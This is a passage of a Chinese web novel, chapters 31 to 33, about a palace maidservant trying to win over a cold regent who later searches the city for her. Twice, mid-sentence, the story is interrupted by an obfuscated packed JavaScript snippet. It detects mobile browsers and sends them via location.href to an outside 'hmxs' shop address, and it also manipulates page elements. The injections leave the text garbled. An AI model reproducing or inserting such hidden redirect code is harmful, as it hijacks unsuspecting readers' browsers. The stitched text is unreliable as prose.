时毓被人群推搡着踉跄几步,回头再看,阿哲的身影已被淹没在人群里,正心慌担忧时,余光忽然瞥见不远处的闹市里,穿过一道熟悉身影。 “殿下??” 她愣了两秒,撒丫子狂奔追去。 31. 第 31 章 时毓踩着裙裾一路狂奔,胸腔里的气息灼热得像是要燃起来,直到紧紧抓住虞珩的手,才猛地刹住脚步。 万万没想到竟会在这僻静巷口与他不期而遇。 平日里他就像被亿万星尘簇拥的孤星,周身裹着无形的屏障,寻常人便是仰视而望,也难寻半分接近的契机。唯有传召在前,方能得见一面,可今夜,他竟卸去了繁复仪仗,遣散了随身内侍与护卫,一身素衣独自漫步在夜色里。 这简直是瞌睡遇上了枕头,是老天爷亲手递来的机缘! 若他此刻身着冕服、头戴金冠,前后簇拥着仪仗侍从,她是断然不敢去拉他手的。 “谁!” 冷冽的喝声陡然炸响在耳畔,虞衡手腕一翻,本能地反扣住她的手,指节用力,几乎要捏碎她的骨头。另一只手如铁钳般探来,精准掐住她的脖颈,稍一用力,便将她硬生生拽到了身前。 巷口的灯笼在风里晃了晃,暖黄的光映在他脸上,衬得那双墨眸深不见底。 他明知是她,在这路口徘徊半晌等的就是她,当她真的出现,恼怒甚至憎恨还是占据了上风。 指尖下的脖颈纤细脆弱,稍一用力便能了结一切。虞衡的眼神冷得像冰,心底有个疯狂的念头在叫嚣:掐死她,一了百了。 现在他终于知道了,她口中那些炽烈的爱,全是精心编织的谎言。 她从来没有爱过他,从始至终,他都只是她用来攀附、用来掌控人生的工具。 她毫不吝啬地赞赏,是虚伪的奉承,分文不值,人人可得! 而她的关切,都是手段,连这个初识的阿哲,都能得到她细致入微的关照,生怕人家受一丁点委屈。更可悲的是,她在陌生人面前展露真实在我,却在他面前遮得严严实实。 最令他无法忍受的是,他从来看重德行,最讨厌虚伪狡诈之人,却被这个最虚伪的女人,搅得喜怒不能自控,欲远离却不自觉靠近。 她的脸因为痛苦而扭曲,但是那双眼睛里,却闪烁着惊喜和兴奋的光芒,好似在说:是我是我啊,殿下你好好看看我! 往常每一次这般被他粗暴对待,她眼里总是盛满了惶恐,甚至藏着一丝不易察觉的厌恶,脸上却挂着无懈可击的温顺讨好。可今夜,一切都反了过来。 看来她的确很高兴见到他。 但肯定不是因为日思夜想终于得见——冷落她这几日,除了那晚蔺芝和来,她感受到了危机,偷偷来查探情况,根本没有过一次,想方设法接近他! 她高兴,纯粹是因为,此时遇到他,是她最后一次努力的好时机! 而她所谓的努力,想必还是那些虚伪至极的手段。 虞衡越想越恼火,越想越难堪,冷着脸松开手,顺势往后一推,一脸嫌恶道:“离孤远点。” 但这只手来没来得急落下,就被她抢先握住。 “松开!” “殿下……“时毓不仅不松,还扑上去死死抱住他的胳膊,声音又软又急得央求他:“奴婢不是要纠缠殿下,只想求殿下保护奴婢,奴婢害怕。” 新花招? 虞衡冷眼瞧着,带着一丝嘲讽:“怕什么?” 时毓疯狂腹诽:果然人比人得死,货比货得扔,和阿哲比,这货实在太难接近了。当然,在他眼里,自己和蔺芝和也有云泥之别,原先他看自己只是不顺眼,现在已经是厌恶到肢体排斥、说句话都要应激的地步了。 可即便如此,她也不能放过他! 她拿出毕生积累的全部茶力,挤出两滴眼泪,嘤嘤泣诉:“殿下,奴婢方才在巷口遇到了几个泼皮流氓,他们……他们不仅要劫财,还想对奴婢图谋不轨,奴婢还以为再也见不到殿下了,好生绝望!” 虞衡喉间溢出一声毫不掩饰的冷笑,“那你是如何摆脱他们的,财色两失了?” 时毓赶忙摇头:“那倒没有。奴婢斗胆,借了殿下的势,恐吓他们说,奴奴婢是殿下放在心尖上的人,若是他们敢动我一根手指头,殿下必定会将他们挫骨扬灰!他们一听殿下威名,屁滚尿流得跑了。” 若不是亲眼见证全程,虞衡只怕难以想象这个女人睁眼说瞎话的水平这么高。 他上下扫了她一眼,毫不留情地贬低道:”能相信这样的鬼话,这群流氓不是瞎了眼,就是蠢如猪。” 时毓讪讪松开手,干笑两声:“殿下明察秋毫,一下就戳破奴婢的痴心妄想了。奴婢还是有点自知之明的,哪敢吹那么大的牛。其实奴婢什么也没说,撒腿就跑,幸亏我跑得快,暂时甩脱了他们。” 说到这里,她又换上一副可怜兮兮的模样,拉着他的衣袖轻轻摇晃,哀求道:“但不知,他们是否还尾随着,求殿下庇佑奴婢……” 虞衡想到她说的,‘若不是被打击的实在没自信了’、‘再努力最后一次,不成就要走’——虽然他绝不会放,还是克制着没有揭穿她,训斥她,责罚,违心地给了她一丝丝恻隐,问:“可有受伤?” 难得从他口中听到一句关怀——虽然语气不太像,但时毓决定给自己洗脑:他还是有同理心的! “那倒没有。”时毓抬起鞋子笑道:“就是鞋跑歪了。” 虞衡垂眸一看,果见一双潦草狼狈的绣鞋。浅碧色锦缎面沾满尘灰,鞋头的丝线已磨得发毛,缎面甚至隐隐透出点血迹。鞋底翻翘,鞋帮松垮地塌着,与鞋底几乎要脱缝,显然饱受蹂躏。 这既不是躲流氓跑的,也不是追自己追的,分明是跟着那个被她夸得天花乱坠的男人,逛了半宿夜市磨出来的! 虞珩只觉得一股火又从心底燃起,蹭蹭往上冒。 时毓没察觉他眼底翻涌的怒意,反倒顺着这短暂的平静,悄无声息地往前挪了半步,热情自荐:“殿下今日微服出巡,想来是要体察民情吧?这附近几条巷子,我都跑熟了,连本地的吴语也能听懂大半,殿下不嫌弃的话,我给您做向导兼翻译,可好?” 虞珩看着那渗出血来的鞋头没说话。 时毓脚趾动了动,自己给自己找台阶:“哦对了,天色很晚了,殿下劳累了一天,也该休息了。” 是啊,若不是因为你,孤早该休息了!虞衡冷冷瞥她一眼,没再多说一个字,转身自顾自往前走去。 时毓在宽大的袖子里偷偷比了个中指。 果然,判断一个人的人品,得看他对弱者和底层的态度。之前那点微不足道的好感被消耗殆尽后,这人简直比从前难伺候一万倍! 还好手里有个新offer!就算伺候不好也有退路! 这么一想,她定了定神,劝自己先尽力而为——尽了力,若还不成,也算无愧于心。 刚要迈步跟上,却忽觉周遭寂静得反常。她环顾四周,夜色沉沉,街巷空荡,莫说护卫,连平日如影随形的内侍王禄都不见踪影。 万一再来个‘江雪融’,他岂不危险? 旋即又想,如果真有行刺的,她冲上去给他挡上一箭,肯定能咸鱼翻身! 不过要小心避开要害! 如果人家要射他,肯定瞄准他心脏,那就把一个肩膀放在他心脏处好了! 左肩好还是右肩好呢? 如果伤了右肩膀,会不会留下后遗症,影响写字? 等等,这个时代医疗水平行不行啊?万一大出血死掉了呢? 算了算了,又不是没有退路,这么拼命干嘛! 在她盘算的时候,前方虞衡却忽然驻足,回首投来一记极冷极厉的眼风,似乎在斥责她:磨蹭什么?难道要孤等你一个小小婢女? 她赶紧收起算计,笑着追上去。 “哎哟!” 结果跑太急,一不小心扭了脚。 完啦!老天爷看我要搞砸,要把这个机会收回去了! 时毓对虞珩不抱任何希望,不仅相信他一定会弃自己而去,甚至会给行宫门卫下令,拒绝放她入内。 看来她今晚要露宿街头了…… 心里正悲凉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812316|187132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前方却传来折返的脚步声,沉稳,有力,一步步压近。靛青色衣摆映入余光,那人在她身前停了下来。 “上来。” 熟悉的声音在耳道里回旋,时毓信不过自己的耳朵,用力擦了擦眼。 她没看错。 那个永远高贵冷傲,对她百般厌弃,越来越不耐烦的摄政王殿下,竟然屈膝半蹲在她面前! “上来!” 第二声催促已带了威压。 时毓不敢再迟疑,试探着将身子伏上去。 他双手向后一托,稳稳扣住她腿弯,起身时顺势向上掂了掂,而后迈开步子。 他的肩膀宽阔又坚实,像座可靠的山,上肢力量强悍得惊人,她几乎不用费力攀附,便能稳稳当当靠在上面,半点不必担心跌落。 晚风拂过春水,漾起粼粼波光,也送来他身上清冽的气息,是常年熏染的檀香,混着御墨的沉稳,还夹杂着一丝极淡的、像是水果和鲜花混合的清甜,清雅又好闻。 月色倾泻如练,将他们叠合的影子拉得很长,蜿蜒铺在青石板上,缱绻缠绵。 时毓受宠若惊,以至于说起了胡话:“奴婢愿为殿下挡箭,哪怕被射成马蜂窝也不后悔。” 说完她忽然意识到,对,他没道理忽然对她这么好,肯定是为了拿她当挡箭牌。不过没关系,受人恩惠,就该报答。他将她从徐府救出,给过她一步登天的机会,还供她吃穿,应该算她的再生父母了,拿她当挡箭牌也是可以的! 虞衡冷哼道:“若孤这个摄政王指望你一个女人挡箭,大虞王朝算是完了。” 时毓咂咂嘴,故作惋惜地唏嘘道:“殿下这么说,岂不是不给奴婢尽忠的机会。” 听到忠这个字,虞衡问她:“你今晚出宫作甚?” 时毓斟酌着答道:“奴婢出来买东西。” 到这时候还没句实话!虞衡冷笑着问:“买东西?行宫里谁短了你什么,你说,孤查证属实的话,扒了他的皮!” 说的好像你很在乎我一样……时毓偷偷撇了撇嘴,“那倒没有。托殿下的福,奴婢现在吃得饱穿得好,奴婢今晚出来是为了寻找,能够让殿下开心的东西。” 虞珩惊讶得发现自己已经习惯从她嘴里说出任何谎言了,淡淡问:“那你找到了吗?” “哎,奴婢伺候殿下的时间太短,悟性又差,其实并不知道如何才能让殿下轻松愉悦,只是大海捞针,勉强找到几件,不知道算不算。殿下可要看?” “拿来。” 于是时毓从怀里掏出几本书,小心翼翼地攀着他的肩膀,往前凑了凑,把书在他眼前晃了晃。 “书?”虞珩纳闷地问,“淘到了什么古方秘籍?” 时毓抿了抿嘴,浑身不自在地扭了扭,趴在他耳边轻声道:“都不是,是……是那种书。” 虞珩被她这口热气喷的浑身燥热,脚步不由一顿,微微侧了侧脸:“什么书?” 四下里该闭的灯都已经灭了,只有他们通往行宫的这条路上,内侍官们点了一排绢灯,晕开团团暖黄。 时毓实在不好意思把书名念出来,便央求虞珩朝灯笼下凑一凑。 虞珩被她勾起了好奇心,居然顺从地凑到灯下,便见一只手从肩后探来,将一本册子举到他眼前。 封皮上赫然写着:《我靠房中秘术独得盛宠》。 紧接着是第二本:《霸道诸侯的在逃小妾》。 第三本:《他追,她逃,她插翅难飞》。 虞衡下意识想抬手按额角,刚一松劲,背上的人便惊叫着往下滑,四肢顿时死死缠紧了他。 唇瓣不经意擦过他颈侧跳动的脉,温热湿软。 时毓察觉他呼吸骤沉,喉结滚动,大胆舔了舔那条跳动的脉搏。 “奴婢还买了一本名家春宫……”她的气息呵在他耳根,声音压得低靡,“殿下今夜……可愿与奴婢同观?” 在这个静谧的江南春夜,虞衡不自觉沉沦。 32. 第 32 章 虞衡体内的欲望被瞬间点燃,沸腾的鲜血顺着四肢百骸奔涌而下,窜入那个沉寂五年、方才重获生机的地方。 他手背上青筋暴起,几乎立刻便想将她从身上扒拉起来,顶到墙上一贯而入,当场驰骋个痛快。 偏偏,下一秒,他就想起她是虚情假意,讨好自己只为要名分,要有尊严地活着,要比过令她嫉妒的蔺芝和。 她把他当成欲望的俘虏,只肯用如此恶劣的招数,一点真心也不肯倾付。 他是她可用可弃的工具,最后尝试一次,不肯上钩就会被丢弃。 于是□□转成了怒火,他劈手将她从身上扯下,甩到地上,接着夺过那几本书,狠狠甩到她脸上,“时毓,你就这点能耐了吗?只会用这种低级下作的手段!你和那些倚门卖笑的青楼女子,又有什么两样?” 他力气极大,书本砸在她脸上时,装订线“刺啦”一声崩开,纸页如雪片般四散飞落。 他头也不回地大步离去,留下时毓独自坐在一地狼藉的纸页间。 脸颊火辣辣地疼,可更灼人的是面上滚烫的热意,与心底翻涌的羞耻。 有什么湿漉漉的东西滑过颧骨,她才猛地惊醒,抬手狠狠抹去。 “时毓,你醒醒!”她在心里对自己低喝,“他不是你正在追求的暗恋对象,是你的甲方、是你的老板!你只是在向他推销自己这款‘产品’,在他手下谋个安稳职位而已!你没有必要变成他期待的样子,更不是他所说的样子,图的又不是他的爱,你羞耻个什么劲儿啊! 刚做保险销售时,被客户指着鼻子骂的时候少吗?那次有客户摸你大腿,你站起来给了他一个耳光,他怎么骂你来着?‘什么狗日的金牌销售,谁不知道金牌销售都是睡出来的!’ 干这行,失败是常态,被骂是日常。可以输,可以跌,唯独不能认命,更不能轻贱自己。 你不仅是个优秀的保险销售,甚至早已把保险思维刻进了骨子里,面对任何重大抉择,永远备好两条路:一条奋力一搏,一条保全退路。这条走不通,就换那条。 “你超棒的。”她对着满地纸张,轻声重复,“时毓,你超棒的。” 你本来没想今天勾引他,勾引是planB,要不是这巷口偶遇的巧合,要不是他主动屈膝背你,要不是他只因一个简单的触碰便有了反应,你才不会顺势试探! 别灰心,你大招还没放呢! 淡定! 快从这无用的羞愤里挣脱出来,站起来,追上去道歉。哪怕做不到,至少得先回行宫,否则连放大招的机会都没有了! 那之前苦心经营的一切人脉,徐员外、季知节、杨焕文……所有铺垫岂不白费?沉没成本太高了,你输不起。 时毓拼命在心底嘶喊,可双腿像灌了铅,眼睁睁看着虞衡的背影融入夜色,越行越远。 眼泪越擦越凶。 脑海里另一个声音在极力蛊惑她:放弃吧,别再去攀那座冰山了。高处不胜寒,权力是双刃剑,就算最后得到了,只怕早已遍体鳞伤。 不如就去陈府吧。这世上总还有好人,陈帮主那般疼爱女儿,应当不是徐员外那样的急色之徒。他手下虽多市井混混,可未必都是恶人,你看,不还有阿哲那样的存在吗? * 虞衡回到行宫,未见时毓跟上来。 在寝殿中等候许久,亦没有人来报她归来的消息。 不过是扭伤了脚,即便单脚蹦跳,这么久的时辰,也该蹦回来了! 难不成她就此放弃了,去投奔那漕帮千金了? 还是说,那群流氓果真去而复返,又缠上了她? 他重重扔下手中一页也没翻过的书,豁然起身,“王遂!” 王禄跟着一并进来,神情严峻地抢先开口:“殿下,陆大人求见,说有要事禀报。” “他可是刚从外面回来?” 王禄道:“正是。” 虞衡想起先前交代之事,压下心头焦躁:“传。” 又对闻声进门的王遂摆了摆手,命其暂候殿外。 陆长风确是来禀报追捕那傩面男子的情形。 可他尚未开口,便听虞衡先问:“回来的路上,可曾见到时毓?” 陆长风一怔,仔细回想片刻,谨慎答道:“臣走的是南巷,来时沿路民宅灯火已熄,街面昏暗。且臣急于复命,并未……” 虞衡已知他后面要说的话,没耐心听下去,倏然起身朝外走去,同时厉声唤道:“王遂!” 王遂立即从门外冒出头来。 “传孤旨意,调二十翊卫,出行宫大门,往北沿有灯的那条路,将时毓寻……捉回来,关起来!你亲自去!” 王禄听了这话心里不免嘀咕,与翊卫调度交接本是他的职责,王遂不过是个司寝官,管的是内殿起居,压根没资格调遣这些护卫。可殿下偏偏点了王遂。 时毓和王遂私交更好,而他……当初他为了讨好琳琅玲珑两姐妹,曾重重扇了时毓三十个耳光,两人之间表面礼尚往来,和和气气,实际上,并无交情。 他深知,时毓永远不会忘记自己曾打骂她的仇,将来她一旦得势,自己必无善果。正因如此,他才与琳琅姐妹同站一处,将时毓出宫夜游的消息暗中散播,意在断她前程,甚至借逆贼之手取她性命。 难道殿下早已洞悉这一切? 所以今夜特意越过他,直接命王遂去办,是在防他? 王遂悄然抬眼看了看虞衡的神情,恼是真恼,但其中还蕴藏着忧急,虽不明显,却足以让人好好揣摩。 先前说的那个‘寻’字,似乎更能传达他的意思。若用‘捉’的,势必要有肢体接触,未免为难翊卫。他伺候殿下二十多年,头一回见殿下被一个女人搅得心绪不宁,真让那些不明就里的翊卫的碰了这女人,就是害了人家——殿下此刻心绪纷乱,事后未必不迁怒。 再说这‘关’字,关的目的是保护还是惩罚,关在何处?是宽敞明净的偏殿,茶水果点一应俱全,再遣人陪着说说话;还是阴冷窄小的暗室,断水绝食,任其自生自灭? 若是前者,怕难平殿下此刻怒火;若是后者,又怕得罪了这位贵人。 王遂心中百般计较,行动上倒是一点也没耽误,立刻领了腰牌,朝外院走去。 虞衡挥退了王禄,重新返回寝殿。 陆长风也跟着回来,继续禀报方才未及开口的事项。 原来影卫奉命围捕那傩面男子时,忽遭漕帮众人阻截。对方人多地熟,影卫和他们交手吃了暗亏,虽将阿哲击伤,却未能擒回。 “殿下,可要派人连夜去漕帮要人?”陆长风问。 虞衡手里捻着佛珠,目光却定在窗台那柱驱虫香上。一缕青烟从香头上袅袅而上,在空中慢慢散乱开来,恰如他和她,似实而虚、似连似断的关系。 “殿下?”陆长风轻声唤道。 虞衡蓦地回神,并未答话,而是霍然起身,在陆长风错愕的注视下转入屏风后。不过片刻,他已穿戴齐整。 玄色蟒袍,玉冠束发,腰间佩剑寒光凛冽,一身王者霸气迫得人呼吸不畅。 “殿、殿下!”陆长风深吸一口气急忙追上,“将至子时,您这是……” 殿门外,琳琅正端着一盏安神汤候着,见他出来,柔声迎上:“奴婢见殿下难以安枕,特炖了汤来。您用些,奴婢再为您揉按额角,定能……” “去传擅治扭伤的太医,在此候着。”虞衡打断她,神色冷峻如铁,话音未落已绕开她,径自朝宫门方向阔步而去。 * 时毓调整了许久,最后还是决定先回行宫。 不知道是卖保险那几年,跟太多斤斤计较的精明客户周旋久了耳濡目染,还是她骨子里本就带着务实的精明,她深信,人的精力得用在性价比最高的地方。 能把虞衡攻略下来,不管是作为情人,还是作为上司,能得到的益处都是顶尖的。 给陈鹤当保姆,机会多的是,不急于一时。但进入一个王朝最高掌权者的视线,有且只有这一次机会。 主动放弃的话,她可能会后悔一辈子。 于是她擦干眼泪,开始四处捡被虞衡砸烂的书。 首先这时代的纸张非常昂贵,这几本书足足花了她三两银子,按购买力换算,抵得上现代一万多块钱。 哪能就这么白白扔了! 其次,她要想攻略虞衡,还得跟着书上好好学呢!这时代出个书可不容易,能刊印出来的都是浓缩的精华。 虽然虞衡对这种‘下作的青楼手段’不屑,但以时毓对男人这物种的了解,那些不屑都是表面的,真要学会了,他们享受还来不及呢! 再说了,技能多不压身。学会了可以不用,真要用起来,也不一定非得用在他身上,反正多一项本事,就多一条路,总没坏处! 这条路左邻运河,右边则正对着丁字路口,穿堂风刮得又猛又急,纸张被吹得四处飘散。 时毓瘸着一只脚,在风里蹦跳着捡了半宿,累得腰背发酸、小腿抽筋,正坐在黑黢黢的河岸边喘气,却忽见王遂领着整队翊卫顶盔贯甲疾步行出宫门。 不多时,虞衡竟也亲自出来了,他着玄甲佩长剑,眉目凝霜,身后跟着另一列精锐,马蹄踏碎凌晨的雾气,径直朝北而去。 时毓哪会想到这些人全是冲着自己来的。她只当他们是去擒拿某位极危险的钦犯,或许,那就是虞衡今夜微服出巡的真正目标? 所以先前他在长街独行,是在以身作饵吗? 厉害啊!有胆魄,有担当,不愧是以军功稳坐摄政之位的男人。 时毓遥遥冲他背 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眼看殿下为疏通运河商路特设的恩科之期渐近,他心头焦灼日盛。若在此之前不能将池彻枭首示众,这伙亡命之徒定会破坏科考,甚至危及殿下安危。 吴郡漕运司主事李霖深知他压力,再次提及那位身怀异能的女子。 “她当真有此能耐?” “不瞒中郎将,下官的小女曾被人贩子拐走,当时下官曾发动郡守府全部衙役寻找,却一无所获。根据当时抓到的几个人贩子推测,她大概已经被带出了江南,或已香消玉殒,下官及内人均悲痛欲绝。 绝望之际,家母提及这位叶小姐,她是本地望族叶氏的嫡出千金,自幼受尽宠爱。可自三岁起,她便开始说些令人毛骨悚然的‘胡话’。据说她能通阴阳,可与逝者对话,替亡魂传讯。因此被视为不祥,四岁起便被锁入后院深屋,不得踏出房门半步,也不许与外人交谈。平日唯有位老仆妇进出照应。。 那老仆妇与其夫失和多年,其夫在外豢养外室,数十载未归。一日,她为叶小姐送饭时,叶小姐忽以她丈夫的口吻开口道:‘我病重将死时,曾命那外室归家送信,叫两个儿子来分家产。外室贪财,害我性命,匿信不传,如今正卷了所有钱财欲逃。你快带儿子去截。’” “老仆妇素知小姐异能,当即携子赶去,果如所言。” 顾昭听到这里挑了挑眉。 李霖看出他眼中质疑,加快语速说道:“叶小姐的祖母与家母乃是手帕交,听闻我家小女走失,心有不忍,便提议让叶小姐问问附近亡者可有见过。 我们抱着将信将疑的态度去叶家拜访,隔着门求那位叶小姐帮忙。谁成想,那位叶小姐十来年不同生人打交道,在我们面前竟是一句话也讲不出来,我们只得拜托那个伺候她的老妇人帮忙传话。 哪知,那老妇人说,叶小姐性子内向,便是陌生的鬼魂也不愿搭话,只能等她熟悉的亡魂出现,再托对方打听。” 李霖苦笑一声,“下官与内人日日守在她门前,心急如焚,食不下咽,好在等了三日,终于盼来了消息。叶小姐得到消息,小女刚被人带出吴郡,就在前往余杭的一艘渔船上,还有半口气在。” “下官得知后,立即带人乘船去追,中郎将猜怎样?” 既然他极力推荐此人,结果必然是找到了呗。 果然,李霖道:“下官果然在一艘渔船上找到了奄奄一息的小女。若不是叶小姐,小女早已不在人世了。” 顾昭向来不信怪力乱神之说,可眼下那池彻神出鬼没,踪迹难寻,恩科之日又日渐临近,实在别无他法。死马当活马医,或许还有一线希望。 “你去将她请来吧。”他沉声道。 “请中郎将恕罪,下官做不到。”李霖面露难色。 顾昭脸色骤然一变,眉宇间戾气丛生:“为何?” “方才下官已同中郎将说过,叶小姐自四岁后便被锁在房中,从未外出半步。便是五年前吴郡城破、叶家遭难时,她也未曾踏出房门一步。”李霖咂了咂舌,“据说当时有乱兵想闯入她的房间,却都陷入了鬼打墙,在院子里打转半日也进不去,最后只能作罢。” “从前有那老妇人在,还能替人传话,可那老妇人去年仙逝了。之后下官替叶小姐变卖了家中田宅,请了个仆妇每日三餐送饭、定期洗衣,勉强维持她的生计。可她依旧不肯见任何人,也不对任何人说话。” 说到这里,李霖看着顾昭,语气带着几分无奈:“下官不仅没法将她请来,甚至连让她开口的办法都没有。若要请她指点池贼的下落,恐怕要劳烦大人亲自去一趟叶家老宅,或许……或许大人的气场,能让她愿意开口。” 33. 第 33 章 时毓以为自己能回行宫,全因虞衡昨夜另有要务,一时无暇处置她。待他想起,自己随时可能被逐出门去。故而一觉醒来,她便急着要施展筹划已久的“大招”。 不料刚推开房门,便与候在廊下多时的太医与王遂碰了面。 王遂眼底泛着青黑,面容浮肿,声音嘶哑如砂纸摩擦:“殿下有令,姑娘不得外出。” 太医则将她扭伤的脚踝用竹板牢牢固定,缠上布带,嘱咐道:“竹板拆前,万不可落地行走。” 两人一令一医,断绝了她踏出此门的可能。 “王司寝,”时毓心虚地叫住正深一脚浅一脚往外走的王遂,挤出笑容问道,“能向您请教个问题吗?” 王遂生就一张面瘫脸,对上对下从来一个表情,此刻对着时毓的笑靥亦是如此。 即便心底万分不耐,面上也不露半分,只转身掩口打了个哈欠,拭去眼角的泪,这才踱回她跟前,客气道:“姑娘请讲。” 时毓撑着单腿站起来,朝他抱拳:“其实是想谢过王司寝,特意请太医来为我诊治。以我的身份原不配……” “姑娘以为自己是什么身份?” 时毓被问得一怔。 王遂这一问不为质问,而是为了提点。 织染署令王阳与他遂私交甚笃。 前些时日,时毓曾向王阳请教如何挽回殿下心意,王阳便指点她去请教王遂。时毓因尚未想通何处开罪了虞衡,暂且将此事搁置,王阳却已将此事当做人情卖给了王遂。 王遂何等精明,原打算等时毓主动来问再行点拨。可昨夜领着翊卫将行宫周边翻了个底朝天后,他实在熬不住了——若再来这么一遭,他这把老骨头怕是要散。 于是,时毓连半分人情都未欠下,这位在宫中当差近四十年、平日惜字如金近乎半哑的老太监,便主动开了口。 他见时毓发愣,知她未解其意,也不等她想明白,紧接着便道:“太医是专侍殿下的御前官。内廷之中,有资格请动太医问诊的仅两人,掌事女官段琳琅和内侍监陈博。便是咱家,亦无权请太医看诊,更遑论‘为姑娘诊治’。” 时毓不傻,当即反应过来:“您是说,是殿下命令太医来的?” 王遂点了点头。 时毓其实早有此猜测,毕竟她崴了脚的事儿只有虞衡知道,王遂若不得指令,不会一大早就领着太医过来。 她本以为虞衡弃她而去后就彻底不管她了,现在看来,这个男人不算太无情,还有一丝风度在。 那就好办了,她最怕遇到那种,对谁都冷酷到底,只把心爱的女人当人的男人——除了那个女人,任何人遇到他都得倒霉。 像虞衡这般,在极度厌恶她的时候尚能保持理智和风度,给予基本的人道主义关怀,说明他的性格底色是宽仁大度的。 时毓因此也有了再次靠近他的勇气。 当然了,即便如此,也不能在人家的雷区蹦迪,既然他厌恶那般露骨的勾引,以后定要坚决杜绝! 所幸,她准备的大招是彻头彻尾走另一条路线的。 “多谢司寝提点,”时毓起身郑重一揖,“我明白自己的身份了。可惜眼下无以回报,待将来……” 王遂侧身避过,轻叹:“看来姑娘仍未明白。” “司寝何出此言?” “你可想通,那日在船上为何触怒殿下?” 时毓思忖片刻,试探道:“殿下忌惮身边人私下勾连,见我四处送礼,疑我野心过甚?” “此言有理,却未尽然。”王遂摇头,“您该费心讨好的,唯有殿下一人。世间妇人皆以夫君为天,而咱们殿下是天下人的天,是万民的倚仗。您去讨好旁人,便是在告诉他:您觉得他这个‘天’,靠不住。” 时毓顿感醍醐灌顶。 原来虞珩觉得自己给内侍官送礼,是在藐视他的权威! 时毓一方面为自己的愚钝捏一把汗,另一面又不免感觉到委屈——她虽然爬上了他的床,却没睡成,也没得到任何名分,哪敢倚靠他? “只要讨得了殿下欢心,所有人都会争着抢着巴结您。相反,若您遭殿下厌弃,那任何人都帮不了您。”王遂看她发呆,再次提醒。 宫里所有人都看菜下碟,人缘儿再好也没用。 时毓听懂了,心头一跳,苦笑道:“多谢司寝指点。只可惜,我醒悟得太晚,已经遭殿下彻底厌弃,以后怕是没机会做他的女人了。” 王遂太困了,以至于他怀疑自己听错了:是哪个作精跑出去让殿下找了整整一晚,累得数百人睡不成?殿下寻她不着,恨不能掀了这座城甚至自毁,她说她遭殿下厌弃了? 他一个无根的人都能看得出来,殿下快要为她入疯魔,她竟一无所觉?! 他本欲将殿下两次冒着风险出宫寻她之事说出来,想了想,终究没开这个口。 他这一辈子谨小慎微,终日扮哑巴,就怕祸从口出。今日已经说得够多了。 殿下动心一次不容易,万一帮不上忙还添了乱,那就糟糕了。 他正要离去,忽听时毓兴冲冲到:“不过,我有个法子,可以在疏通南北商路方面,提供一点点助力,若殿下看得上眼,我便还有翻身的机会。” 王遂抬了抬眼。 “只是这法子需验证是否可行,得去城中各大织造坊、船务衙门,还有漕运码头,采些数据做些调查。”时毓顿了顿,声音软下来,“可殿下禁了我的足,我便去不成了。我想先将此事简要面禀殿下,求个出宫的机会,再请两位帮手一起去。王司寝能否替我传句话?” 王遂心想你一个女子,能有什么通商良策?真想翻身,不如安安分分养伤,等殿下气消了,撒个娇落几滴泪,不比什么都强?如今瘸着腿,殿下盛怒之下仍不忍重责,已是难得的回护。你却不惜福,偏要在这节骨眼上往外闯,是嫌命太长么? 时毓见他神色淡淡,知他不愿,又恳切道:“此事不止为我,更为殿下、为江南百姓,乃至大虞商路重开、万民安稳。司寝大人,商路一通,漕运即活,漕运活,则百姓安、国库盈、天下稳。此乃利在千秋之事,请您务必代为通传。” 王遂终究是清楚她在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834301|187132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下心中的分量,不想太拂她面子,便应了下来。 但他并未直接禀报虞衡,而是转头寻了王阳。 王阳这个人非常上进,一门心思想立功,他有上书觐见的资格,又对重开商路一事颇为上心,由他出面最为合适。 王阳听完他的话,并不觉得时毓真有什么好法子,只觉得她被禁了足,怕彻底失宠,着急见殿下复宠的借口而已。 他倒是挺愿意同时卖时毓和王遂这个人情,但不敢冒冒失失被王遂当枪使,呵呵笑道:“帮这个忙不难,只是老哥你得先透个底,昨夜殿下两次出宫,是否真是为了寻时毓?” 昨夜的动静他略有耳闻,自己囫囵拼凑了个因果:时毓因蔺大家的到来彻底失了宠,便故意闹一出失踪,想引殿下注目。殿下果真亲自去寻,甚至为找她搅得几百户人家不得安宁。谁知殿下在外苦寻之际,她竟自己偷偷溜了回来。这般行事,形容戏耍,殿下岂能不怒? 眼下虽只是禁足,可天威难测,雷霆之怒往往蓄于无声。殿下是何等人物?岂容他人这般算计戏耍?后续怕是还有重罚。 她究竟还能不能起复?他得先探明虚实。 王遂白了他一眼,冷哼一声,拂袖而去。 “嘿,这老小子!”王阳在后头笑骂一句,还是整了整官帽,觐见去了。 原因无他,王遂的态度已说明一切。内侍官里再没比那老狐狸更精的,他肯为时毓绕这个弯来求人,足见她的盛宠绝非一时,断不会轻易消减。 到了虞衡面前,王阳自然不会露半分时毓想借机外出的心思。他一脸坦荡,秉着全为公心的姿态禀道:“几日前,时姑娘因帮了一位绣娘,偶然得知商路不通令本地商户生计艰难。又闻殿下此番南巡意在重开商路,便日夜思忖,想为殿下分忧。” 他稍顿,语气愈显郑重:“她言道想出一法,或可助解此困局,但需织染署协同前往各大织造坊、船务衙门及漕运司核验实情。臣听后深觉振奋,为江南百姓与大虞经济复苏计,当即应下,并与她约定今日同往。如今已过约定时辰,迟迟未见时姑娘,不知是否被旁事耽搁,故冒昧请殿下示下,是否该以大事为重,准她先行此事?” 虞衡不置可否,却对他口中的法子感兴趣,让他先说来听听。 